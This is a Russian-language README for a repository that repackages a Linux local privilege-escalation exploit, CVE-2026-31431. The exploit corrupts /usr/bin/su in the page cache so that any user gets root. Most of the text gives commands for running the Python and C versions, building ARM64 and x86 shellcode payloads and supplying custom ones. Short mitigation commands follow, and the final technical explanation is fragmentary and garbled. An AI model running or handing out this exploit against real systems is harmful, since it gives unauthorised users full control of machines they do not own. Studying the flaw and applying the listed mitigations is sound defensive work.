
Упрощённая версия CVE-2026-31431
Легко понимаемая версия CVE-2026-31431 — техника повышения привилегий, позволяющая любому пользователю получить права root. Оригинальное доказательство концепции находится здесь: https://github.com/theori-io/copy-fail-CVE-2026-31431, но оно сильно сжато и минифицировано для минимального размера. Этот репозиторий пытается разобрать этот код в более читаемом виде, включая описание того, что делает код, как загружается полезная нагрузка и как нацеливаться на разные архитектуры. См. более техническую статью здесь: https://xint.io/blog/copy-fail-linux-distributions.
По умолчанию запуск python3 copyfail.py запускает x64 шелл-код, эксплуатирующий /usr/bin/su. Вы можете указать свою полезную нагрузку, запустив python3 copyfail.py [путь/к/своему/payload.elf]. Например, внутри payloads/ есть ассемблерный код шелл-кода для ARM64. Для тестирования на устройствах ARM64 сначала нужно собрать минимизированную полезную нагрузку с помощью нашего пользовательского скрипта компоновщика:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Затем вы можете запустить основной эксплойт с помощью python3 copyfail.py shellcode_aarch64.elf.
Для запуска на C:
./c_copyfail — запускает тот же шелл-код по умолчанию, что и выше../c_copyfail [путь/к/своему/payload.elf].Для сборки версии на C:
cd c_port
make
В частности, это компилирует целевой .S файл в сырой бинарный файл, который выводится как массив unsigned char на C:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
или, для 32-битного x86,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
Затем вы можете скопировать содержимое этого файла в свой исходный код или просто напрямую запустить ./c_copyfail.exe [путь/к/payload.elf], где payload.elf генерируется с помощью as + ld, а НЕ gcc + objcopy.
Чтобы избежать эксплуатации, выполните:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Если уже скомпрометирован, можно перезагрузить машину или выполнить:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice(), ядро помещает реальные страницы page-cache файла, который вы объединили, в рабочую область крипто/usr/bin/su в данном случае)/usr/bin/su ядро читает его из page-cache и получает измененные байты/usr/bin/su, так что UID станет 0 (root)Двоичный файл su поврежден в памяти, поэтому модификация файла не будет обнаружена. Чтобы восстановить с диска, можно сбросить page-cache.